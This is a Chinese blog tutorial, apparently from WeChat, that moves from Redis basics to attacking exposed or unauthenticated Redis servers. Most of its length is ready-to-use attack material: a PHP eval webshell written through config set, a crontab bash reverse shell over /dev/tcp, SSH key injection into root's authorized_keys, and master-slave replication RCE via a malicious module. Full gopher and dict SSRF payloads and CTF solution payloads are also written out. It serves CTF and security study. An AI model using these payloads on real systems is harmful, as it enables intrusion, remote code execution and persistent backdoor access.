1
Redis基础
一些基础操作
key-value
型数据库,详细基础知识可以参考:https://www.runoob.com/redis,这里把一些要点给罗列出来-
ubuntu 安装 redis
sudo apt-get update
sudo apt-get install redis-server
-
启动 redis 和 client 客户端连接
redis-server
指的是 redis 服务器,可以使用-port
指定端口,默认是6379redis-server
redis-cli
指的是 redis 命令行客户端redis-cli -h 127.0.0.1 -p 6379
-
设置键值对
set
和get
来设置和获取键值对,用keys *
获取redis
中所有可用的key
127.0.0.1:6379> set a 1
OK
127.0.0.1:6379> get a
"1"
127.0.0.1:6379> keys *
1) "a"
-
配置查看和修改
redis.conf
,在 windows 下为 redis.windows.conf
,我们可以通过config
命令获取配置项等,这里有两个特别注意一下就是 dir
指定本地数据库存放目录,dbfilename
指定本地数据库文件名,默认值为 dump.rdb
127.0.0.1:6302> config get *
...
127.0.0.1:6302> config get dir
1) "dir"
2) "/data"
127.0.0.1:6302> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
set
127.0.0.1:6379> config set loglevel "notice"
OK
127.0.0.1:6379> config get loglevel
1) "loglevel"
2) "notice"
数据类型
redis协议
-
*3
表示set a 1
这样的以空格为分割的元组的属性个数 -
$3
表示set
的长度,同理往下的$
都是表示长度
*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF
两种持久化运作方案
-
RDB
-
AOE
append-only
的模式写入一个日志文件中,在 redis 重启的时候,可以通过回放AOF日志中的写入指令来重新构建整个数据集2
/etc/redis/redis.conf
文件-
注释
bind 127.0.0.1
-
protected-mode
的值设为 no
kill -9 pid
仍然无法停止 redis 的话,可以使用如下命令/etc/init.d/redis-server stop
sudo redis-server /etc/redis/redis.conf
写webshell
-
已知网站根目录
-
有文件读写权限
┌──(root kali)-[~]
└─# redis-cli -h 192.168.0.103 -p 6379
192.168.0.103:6379> config set dir /var/www/html
OK
192.168.0.103:6379> config set dbfilename shell.php
OK
192.168.0.103:6379> set shell "<?php eval($_GET[1]);?>"
OK
192.168.0.103:6379> save
OK
flushall
的话,会删掉 redis 内的全部键值对crontab反弹shell
-
/var/spool/cron/
目录下存放的是每个用户包括 root 的 crontab 任务,Ubuntu 系统在/var/spool/cron/crontabs/<username>
,Centos 系统则在/var/spool/cron/<username>
-
/etc/crontab
这个文件负责调度各种管理和维护任务,Centos 和 Ubuntu 系统均存在这个文件,需要 root 权限
-
bash 反弹 shell
-
如果写
/etc/crontab
文件,会夹杂脏数据导致命令语法报错 -
如果写
/var/spool/cron/crontabs/<username>
文件因为 redis 写 644 的权限,但 ubuntu 要求执行定时任务文件权限必须是 600,否则报错INSECURE MODE (mode 0600 expected) (crontabs/root)
,并且写这个文件也会语法报错
config set dir /var/spool/cron
config set dbfilename root
set shell "nn*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1nn"
save
写ssh-key
-
redis 是以 root 权限启动
-
允许密钥登陆
/root/.ssh
,目的就是将自己的公钥写入目标服务器的 /root/.ssh
文件夹的authotrized_keys
文件中,进而可以直接使用对应的私钥登录目标服务器,复现步骤如下-
在本地生成公私钥
ssh-keygen -t rsa
-
将公钥写入临时文件中
(echo -e "nn"; cat ~/.ssh/id_rsa.pub; echo -e "nn") > /tmp/rsa.txt
-
同样的使用 config 写入文件
cat /tmp/rsa.txt | redis-cli -h ip -p 6379 -x set rsa
redis-cli -h ip -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
-
ssh登录
ssh -i id_rsa root@ip
主从复制
主从复制基础
docker run -p 6301:6379 -d redis:5.0 redis-server
docker run -p 6302:6379 -d redis:5.0 redis-server
-
主节点端口:
master:6301
-
从节点端口:
slave:6302
slaveof ip port
slaveof no one
.so
文件,然后用 python 起一个服务去模拟 redis 的主节点,并且在全量复制的时候把数据库文件替换成恶意.so
文件,从而达到 rce主从复制RCE
-
配合模块加载 rce
-
一种是在配置文件
redis.conf
中使用loadmodule /path/to/mymodule.so
在 redis 启动时加载 -
另一种方式在运行时使用命令
MODULE LOAD /path/to/mymodule.so
加载。加载的模块可以使用命令MODULE LIST
查看,使用MODULE UNLOAD mymodule
卸载
.so
文件复制到容器里面docker cp /home/kawhi/jiaoben/RedisModules-ExecuteCommand-master/module.so modest_nobel:/data/exp.so
module load /data/exp.so
system.exec "whoami"
.so
文件到从节点上,进而执行命令,复现过程需要两个脚本:.so
文件:https://github.com/n0b0dyCN/RedisModules-ExecuteCommandfullresync
请求,我们将生成的so
文件放到恶意端的脚本目录下,然后运行system.exec "whoami"
的形式来执行命令vulhub
的脚本:https://github.com/vulhub/redis-rogue-getshell
3
gopher协议的利用
gopher://ip:port/_data
,我们可以通过它来发送 redis 的数据,比如设置一个键值对import urllib
import requests
test =
"""*3
$3
set
$5
kawhi
$3
123
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)
#_%2A3%0D%0A%243%0D%0Aset%0D%0A%245%0D%0Akawhi%0D%0A%243%0D%0A123%0D%0A
gopher协议猜测弱口令
redis-cli
连上之后使用config set requirepass "123456"
设置 redis 的密码redis.conf
文件sed -i 's/#requirepass 123456/requirepass 123456/g' /etc/redis/redis.conf
import urllib
import requests
test =
"""*2
$4
AUTH
$6
123456
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)
gopher协议主从复制
slave of
命令通过 ssrf 的 gopher 协议发到目标机上,所以没办法像上面一样用脚本一键rce,我们可以用一个被动连接的主机来进行主从复制,脚本地址:https://github.com/Dliv3/redis-rogue-server*4
$6
config
$3
set
$3
dir
$5
/tmp/
*4
$6
config
$3
set
$10
dbfilename
$6
exp.so
*3
$7
slaveof
$13 //ip长度
192.168.2.105 //ip
$5 //端口长度
21000 //端口
*3
$6
module
$4
load
$11
/tmp/exp.so
*2
$11
system.exec
$2
id
*1
$4
quit
gopher协议其他部分
dict协议的利用
curl dict://127.0.0.1:6379/info
dict://serverip:port/命令:参数
来发送 redis 命令,例如curl "dict://192.168.2.107:6379/set:kawhi:123456"
:
也可以换成空格dict协议写shell
curl "dict://192.168.2.107:6379/set:shell:<?php phpinfo();?>"
?
号后面被截断了192.168.2.107:6379> get shell
"<"
-
第一种
<?
等特殊符号转义编码了link.php?u=dict://0:6379/set:shell:"x3Cx3Fphpx20echo`$_GET[x]`x3Bx3Fx3E"
link.php?u=dict://0:6379/config:set:dir:/var/www/html/
link.php?u=dict://0:6379/config:set:dbfilename:shell.php
link.php?u=dict://0:6379/save
-
第二种
?
截断dict://0:6379/set:shell:"xc3xc0x8fx97x8fxdfxbfx9ax89x9ex93xd7xdbxa0xafxb0xacxabxa4xcexa2xd6xc4xc0xc1"
dict://0:6379/bitop:not:shell:shell
192.168.2.112:6379> get shell
"<?php @eval($_POST[1]);?>"
-
第三种
127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> set webshell "<>php @eval($_POST[1]);>>"
OK
127.0.0.1:6379> setbit webshell 191 1
(integer) 0
127.0.0.1:6379> setbit webshell 15 1
(integer) 0
127.0.0.1:6379> save
OK
dict协议主从复制
192.168.2.112:6301> set shell "<?php phpinfo();?>"
OK
dict
协议进行主从复制dict://0:6379/slaveof:192.168.2.112:6301
dict://0:6379/config:set:dir:/var/www/html
dict://0:6379/config:set:dbfilename:shell.php
dict://0:6379/save
dict://0:6379/slaveof:no:one
.so
恶意文件的话,像上面那样启动个 python 的 redis 被动连接服务即可dict协议其他部分
dict
协议并不能像上面 gopher
协议那样来猜测弱口令。4
经典例题
gactf2020 ssrfme
网鼎杯 玄武 - SSRFMe
?url=http://[email protected]/hint.php
*2
$4
AUTH
$4
root
*3
$7
SLAVEOF
$2 //vpsip长度
ip //vpsip地址
$5
21000
*4
$6
CONFIG
$3
SET
$3
dir
$5
/tmp/
*4
$6
config
$3
set
$10
dbfilename
$6
exp.so
*3
$6
MODULE
$4
LOAD
$11
/tmp/exp.so
*2
$11
system.exec
$13
cat${IFS}/fl*
*1
$4
quit
5
点个在看 再走呀
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论